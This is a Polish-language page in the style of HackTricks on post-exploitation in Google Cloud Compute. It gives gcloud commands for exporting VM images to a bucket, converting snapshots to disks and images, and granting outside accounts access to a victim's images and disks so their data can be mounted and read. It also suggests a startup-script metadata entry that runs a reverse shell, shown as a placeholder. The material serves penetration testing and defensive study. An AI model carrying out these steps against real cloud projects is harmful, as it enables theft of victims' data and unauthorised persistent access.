GCP - Compute Post Exploitation

Wspieraj HackTricks

Compute

Więcej informacji o Compute i VPC (Networking) znajdziesz tutaj:

GCP - Compute Enum

Eksportuj i sprawdzaj obrazy lokalnie

To pozwoliłoby atakującemu na dostęp do danych zawartych w już istniejących obrazach lub tworzenie nowych obrazów działających VM i dostęp do ich danych bez dostępu do działającej VM.

Możliwe jest wyeksportowanie obrazu VM do bucketu, a następnie pobranie go i zamontowanie lokalnie za pomocą polecenia:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Przed wykonaniem tej akcji atakujący może potrzebować uprawnień do koszyka storage i na pewno uprawnień do cloudbuild, ponieważ to usługa, która będzie poproszona o wykonanie eksportu. Ponadto, aby to zadziałało, codebuild SA i compute SA muszą mieć uprzywilejowane uprawnienia. Cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com potrzebuje:

  • roles/iam.serviceAccountTokenCreator

  • roles/compute.admin

  • roles/iam.serviceAccountUser

A SA <project-id>-compute@developer.gserviceaccount.com potrzebuje:

  • roles/compute.storageAdmin

  • roles/storage.objectAdmin

Eksportuj i sprawdzaj migawki i dyski lokalnie

Nie jest możliwe bezpośrednie eksportowanie migawek i dysków, ale można przekształcić migawkę w dysk, dysk w obraz i zgodnie z poprzednią sekcją, wyeksportować ten obraz, aby sprawdzić go lokalnie

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Inspekcja obrazu poprzez utworzenie VM

W celu uzyskania dostępu do danych przechowywanych w obrazie lub wewnątrz działającej VM, z której atakujący utworzył obraz, możliwe jest przyznanie zewnętrznemu kontu dostępu do obrazu:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

a następnie utwórz z niego nową VM:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Jeśli nie możesz przyznać dostępu do swojego zewnętrznego konta nad obrazem, możesz uruchomić VM używając tego obrazu w projekcie ofiary i sprawić, by metadane wykonały reverse shell w celu uzyskania dostępu do obrazu, dodając parametr:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Inspect a Snapshot/Disk attaching it to a VM

W celu uzyskania dostępu do danych przechowywanych na dysku lub migawce, możesz przekształcić migawkę w dysk, dysk w obraz i postępować zgodnie z wcześniejszymi krokami.

Lub możesz przyznać zewnętrznemu kontu dostęp do dysku (jeśli punktem wyjścia jest migawka, przyznaj dostęp do migawki lub utwórz z niej dysk):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Podłącz dysk do instancji:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Zamontuj dysk wewnątrz VM:

  1. SSH do VM:

gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. Zidentyfikuj Dysk: Po zalogowaniu się do VM, zidentyfikuj nowy dysk, wylistowując urządzenia dyskowe. Zazwyczaj można go znaleźć jako /dev/sdb, /dev/sdc, itp.

  2. Sformatuj i Zamontuj Dysk (jeśli to nowy lub surowy dysk):

  • Utwórz punkt montowania:

sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • Zamontuj dysk:

sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

Jeśli nie możesz dać dostępu do zewnętrznego projektu do migawki lub dysku, może być konieczne wykonanie tych działań wewnątrz instancji w tym samym projekcie co migawka/dysk.

Wspieraj HackTricks

Last updated